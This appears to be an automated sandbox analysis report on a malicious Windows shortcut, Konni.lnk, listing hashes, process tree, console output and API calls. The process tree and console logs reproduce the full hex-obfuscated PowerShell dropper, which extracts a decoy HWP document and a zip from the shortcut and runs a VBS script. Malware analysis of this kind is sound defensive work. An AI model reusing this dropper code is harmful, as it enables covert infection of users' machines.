popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Konni.lnk

Generic Malware PS Antivirus PostScript AntiDebug GIF Format MSOffice File AntiVM PowerShell HWP
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Aug. 9, 2023, 11:11 a.m. Aug. 9, 2023, 11:13 a.m.
Size 140.7KB
Type MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5 49fbfece9d180b55661816d29fd2af8a
SHA256 7ec657a612735d8f07ae769c2052cf560f6c806066398b0e58ee9cd3e43ca7d1
CRC32 B7BA252B
ssdeep 3072:+okmp5HkuLFZ5NaCpxHvAGaPGVljUJIbRhCJD50JHkzTCJhpy:rkmp5EOFZe0HvALPUj4PqE6Xpy
Yara
  • Win32_HWP_PostScript_Zero - Detect a HWP with embedded Post Script code
  • HWP_file_format - HWP Document File
  • Lnk_Format_Zero - LNK Format
  • Microsoft_Office_File_Zero - Microsoft Office File

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "IxthwxZtSPg" C:\Users\test22\AppData\Local\Temp\Konni.lnk

    3060

    • cmd.exe "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $wonders=\"`$temple='66756E6374696F6E2070436248536A72736F75714B282464637A507843774849634265524F297B244F64714F58736E67533D39353637333B2459426A615267657746437A3D244E756C6C3B666F72656163682824504E4F6650644D4D6A4D4C6969464820696E202464637A507843774849634265524F297B2459426A615267657746437A2B3D5B636861725D2824504E4F6650644D4D6A4D4C696946482D244F64714F58736E6753297D3B72657475726E202459426A615267657746437A7D3B24586B6A526F6C576A485853203D204765742D4C6F636174696F6E3B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244B6A516B486A5150562E6C656E677468202D6571203029207B24586B6A526F6C576A485853203D2024656E763A54656D703B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B24586B6A526F6C576A485853203D2053706C69742D5061746820244B6A516B486A5150563B24696C4A42744C6956757078527A6664203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244B6A516B486A5150562C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24696C4A42744C6956757078527A66642E5365656B28302C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24696C4A42744C6956757078527A66642E5365656B28307830303030323643342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24656B53764E67496A5564574A68596746203D204E65772D4F626A65637420627974655B5D20307830303030433830303B24696C4A42744C6956757078527A66642E526561642824656B53764E67496A5564574A685967462C20302C2030783030303043383030293B246F7150736B4F756E74556D6E203D2024586B6A526F6C576A485853202B20275C27202B205B72656765785D3A3A756E65736361706528275C75414331305C75433831355C75443343395C75414330305C75303032305C75433245345C75433244435C75433544305C75303032305C75423533305C75423937385C75303032305C75443631315C75433837305C75303032305C75433534385C75423042345C75303032455C75303036385C75303037375C753030373027293B736320246F7150736B4F756E74556D6E2024656B53764E67496A5564574A68596746202D456E636F64696E6720427974653B2620246F7150736B4F756E74556D6E3B24696C4A42744C6956757078527A66642E5365656B28307830303030454543342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24485556506E466F7667614661756B64433D4E65772D4F626A65637420627974655B5D20307830303031343430303B24696C4A42744C6956757078527A66642E526561642824485556506E466F7667614661756B64432C20302C2030783030303134343030293B24696C4A42744C6956757078527A66642E436C6F736528293B52656D6F76652D4974656D202D5061746820244B6A516B486A515056202D466F7263653B246F657178734E7A736C3D24656E763A7075626C6963202B20275C27202B202732343537372E7A6970273B736320246F657178734E7A736C2024485556506E466F7667614661756B6443202D456E636F64696E6720427974653B24464F415575435954706C5772203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B24446867764E66656D5876524E46664657203D2024464F415575435954706C57722E4E616D65737061636528246F657178734E7A736C293B24464F415575435954706C57722E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F7079486572652824446867764E66656D5876524E466646572E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D7061746820246F657178734E7A736C202D666F7263653B244A696C67694D485A53423D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244A696C67694D485A53423B';`$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));

      2228

      • powershell.exe powershell -windowstyle hidden $wonders=\"`$temple='66756E6374696F6E2070436248536A72736F75714B282464637A507843774849634265524F297B244F64714F58736E67533D39353637333B2459426A615267657746437A3D244E756C6C3B666F72656163682824504E4F6650644D4D6A4D4C6969464820696E202464637A507843774849634265524F297B2459426A615267657746437A2B3D5B636861725D2824504E4F6650644D4D6A4D4C696946482D244F64714F58736E6753297D3B72657475726E202459426A615267657746437A7D3B24586B6A526F6C576A485853203D204765742D4C6F636174696F6E3B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244B6A516B486A5150562E6C656E677468202D6571203029207B24586B6A526F6C576A485853203D2024656E763A54656D703B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B24586B6A526F6C576A485853203D2053706C69742D5061746820244B6A516B486A5150563B24696C4A42744C6956757078527A6664203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244B6A516B486A5150562C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24696C4A42744C6956757078527A66642E5365656B28302C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24696C4A42744C6956757078527A66642E5365656B28307830303030323643342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24656B53764E67496A5564574A68596746203D204E65772D4F626A65637420627974655B5D20307830303030433830303B24696C4A42744C6956757078527A66642E526561642824656B53764E67496A5564574A685967462C20302C2030783030303043383030293B246F7150736B4F756E74556D6E203D2024586B6A526F6C576A485853202B20275C27202B205B72656765785D3A3A756E65736361706528275C75414331305C75433831355C75443343395C75414330305C75303032305C75433245345C75433244435C75433544305C75303032305C75423533305C75423937385C75303032305C75443631315C75433837305C75303032305C75433534385C75423042345C75303032455C75303036385C75303037375C753030373027293B736320246F7150736B4F756E74556D6E2024656B53764E67496A5564574A68596746202D456E636F64696E6720427974653B2620246F7150736B4F756E74556D6E3B24696C4A42744C6956757078527A66642E5365656B28307830303030454543342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24485556506E466F7667614661756B64433D4E65772D4F626A65637420627974655B5D20307830303031343430303B24696C4A42744C6956757078527A66642E526561642824485556506E466F7667614661756B64432C20302C2030783030303134343030293B24696C4A42744C6956757078527A66642E436C6F736528293B52656D6F76652D4974656D202D5061746820244B6A516B486A515056202D466F7263653B246F657178734E7A736C3D24656E763A7075626C6963202B20275C27202B202732343537372E7A6970273B736320246F657178734E7A736C2024485556506E466F7667614661756B6443202D456E636F64696E6720427974653B24464F415575435954706C5772203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B24446867764E66656D5876524E46664657203D2024464F415575435954706C57722E4E616D65737061636528246F657178734E7A736C293B24464F415575435954706C57722E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F7079486572652824446867764E66656D5876524E466646572E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D7061746820246F657178734E7A736C202D666F7263653B244A696C67694D485A53423D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244A696C67694D485A53423B';`$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));

        292

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Split-Path : Cannot bind argument to parameter 'Path' because it is null.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: At line:1 char:590
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: + function pCbHSjrsouqK($dczPxCwHIcBeRO){$OdqOXsngS=95673;$YBjaRgewFCz=$Null;fo
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: reach($PNOfPdMMjMLiiFH in $dczPxCwHIcBeRO){$YBjaRgewFCz+=[char]($PNOfPdMMjMLiiF
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: H-$OdqOXsngS)};return $YBjaRgewFCz};$XkjRolWjHXS = Get-Location;$KjQkHjQPV = Ge
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: t-ChildItem -Path $XkjRolWjHXS -Recurse *.lnk | where-object {$_.length -eq 0x3
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: 43FC2C9} | Select-Object -ExpandProperty FullName;if($KjQkHjQPV.length -eq 0) {
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: $XkjRolWjHXS = $env:Temp;$KjQkHjQPV = Get-ChildItem -Path $XkjRolWjHXS -Recurse
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: *.lnk | where-object {$_.length -eq 0x343FC2C9} | Select-Object -ExpandPropert
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: y FullName;};$XkjRolWjHXS = Split-Path <<<< $KjQkHjQPV;$ilJBtLiVupxRzfd = New-
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: Object System.IO.FileStream($KjQkHjQPV, [System.IO.FileMode]::Open, [System.IO.
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: FileAccess]::Read);$ilJBtLiVupxRzfd.Seek(0, [System.IO.SeekOrigin]::Begin);$ilJ
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: BtLiVupxRzfd.Seek(0x000026C4, [System.IO.SeekOrigin]::Begin);$ekSvNgIjUdWJhYgF
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: = New-Object byte[] 0x0000C800;$ilJBtLiVupxRzfd.Read($ekSvNgIjUdWJhYgF, 0, 0x00
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: 00C800);$oqPskOuntUmn = $XkjRolWjHXS + '\' + [regex]::unescape('\uAC10\uC815\uD
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: 3C9\uAC00\u0020\uC2E4\uC2DC\uC5D0\u0020\uB530\uB978\u0020\uD611\uC870\u0020\uC5
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: 48\uB0B4\u002E\u0068\u0077\u0070');sc $oqPskOuntUmn $ekSvNgIjUdWJhYgF -Encoding
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: Byte;& $oqPskOuntUmn;$ilJBtLiVupxRzfd.Seek(0x0000EEC4, [System.IO.SeekOrigin]:
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: :Begin);$HUVPnFovgaFaukdC=New-Object byte[] 0x00014400;$ilJBtLiVupxRzfd.Read($H
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: UVPnFovgaFaukdC, 0, 0x00014400);$ilJBtLiVupxRzfd.Close();Remove-Item -Path $KjQ
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: kHjQPV -Force;$oeqxsNzsl=$env:public + '\' + '24577.zip';sc $oeqxsNzsl $HUVPnFo
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: vgaFaukdC -Encoding Byte;$FOAUuCYTplWr = new-object -com shell.application;$Dhg
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: vNfemXvRNFfFW = $FOAUuCYTplWr.Namespace($oeqxsNzsl);$FOAUuCYTplWr.Namespace($en
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: v:public + '\' + 'documents').CopyHere($DhgvNfemXvRNFfFW.items(), 1044) | out-n
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: ull;remove-item -path $oeqxsNzsl -force;$JilgiMHZSB=$env:public+'\documents\sta
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: rt.vbs';& $JilgiMHZSB;
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidData: (:) [Split-Path], ParameterBindingV
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: alidationException
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,M
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: icrosoft.PowerShell.Commands.SplitPathCommand
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: New-Object : Multiple ambiguous overloads found for "FileStream" and the argume
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: nt count: "3".
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: At line:1 char:631
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + function pCbHSjrsouqK($dczPxCwHIcBeRO){$OdqOXsngS=95673;$YBjaRgewFCz=$Null;fo
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: reach($PNOfPdMMjMLiiFH in $dczPxCwHIcBeRO){$YBjaRgewFCz+=[char]($PNOfPdMMjMLiiF
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: H-$OdqOXsngS)};return $YBjaRgewFCz};$XkjRolWjHXS = Get-Location;$KjQkHjQPV = Ge
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: t-ChildItem -Path $XkjRolWjHXS -Recurse *.lnk | where-object {$_.length -eq 0x3
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: 43FC2C9} | Select-Object -ExpandProperty FullName;if($KjQkHjQPV.length -eq 0) {
console_handle: 0x000001f3
1 1 0

WriteConsoleW

 buffer: $XkjRolWjHXS = $env:Temp;$KjQkHjQPV = Get-ChildItem -Path $XkjRolWjHXS -Recurse
console_handle: 0x000001ff
1 1 0

WriteConsoleW

 buffer: *.lnk | where-object {$_.length -eq 0x343FC2C9} | Select-Object -ExpandPropert
console_handle: 0x0000020b
1 1 0

WriteConsoleW

 buffer: y FullName;};$XkjRolWjHXS = Split-Path $KjQkHjQPV;$ilJBtLiVupxRzfd = New-Object
console_handle: 0x00000217
1 1 0

WriteConsoleW

 buffer: <<<< System.IO.FileStream($KjQkHjQPV, [System.IO.FileMode]::Open, [System.IO.
console_handle: 0x00000223
1 1 0

WriteConsoleW

 buffer: FileAccess]::Read);$ilJBtLiVupxRzfd.Seek(0, [System.IO.SeekOrigin]::Begin);$ilJ
console_handle: 0x0000022f
1 1 0

WriteConsoleW

 buffer: BtLiVupxRzfd.Seek(0x000026C4, [System.IO.SeekOrigin]::Begin);$ekSvNgIjUdWJhYgF
console_handle: 0x0000023b
1 1 0

WriteConsoleW

 buffer: = New-Object byte[] 0x0000C800;$ilJBtLiVupxRzfd.Read($ekSvNgIjUdWJhYgF, 0, 0x00
console_handle: 0x00000247
1 1 0

WriteConsoleW

 buffer: 00C800);$oqPskOuntUmn = $XkjRolWjHXS + '\' + [regex]::unescape('\uAC10\uC815\uD
console_handle: 0x00000253
1 1 0

WriteConsoleW

 buffer: 3C9\uAC00\u0020\uC2E4\uC2DC\uC5D0\u0020\uB530\uB978\u0020\uD611\uC870\u0020\uC5
console_handle: 0x0000025f
1 1 0

WriteConsoleW

 buffer: 48\uB0B4\u002E\u0068\u0077\u0070');sc $oqPskOuntUmn $ekSvNgIjUdWJhYgF -Encoding
console_handle: 0x0000026b
1 1 0

WriteConsoleW

 buffer: Byte;& $oqPskOuntUmn;$ilJBtLiVupxRzfd.Seek(0x0000EEC4, [System.IO.SeekOrigin]:
console_handle: 0x00000277
1 1 0

WriteConsoleW

 buffer: :Begin);$HUVPnFovgaFaukdC=New-Object byte[] 0x00014400;$ilJBtLiVupxRzfd.Read($H
console_handle: 0x00000283
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ce0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ca0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ca0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ca0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00302220
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00302220
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00302220
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003020e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00301ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003025e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 786432
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02860000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 292
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73921000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0263a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 292
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73922000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02861000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02862000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0272a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0273b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02737000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0263b000
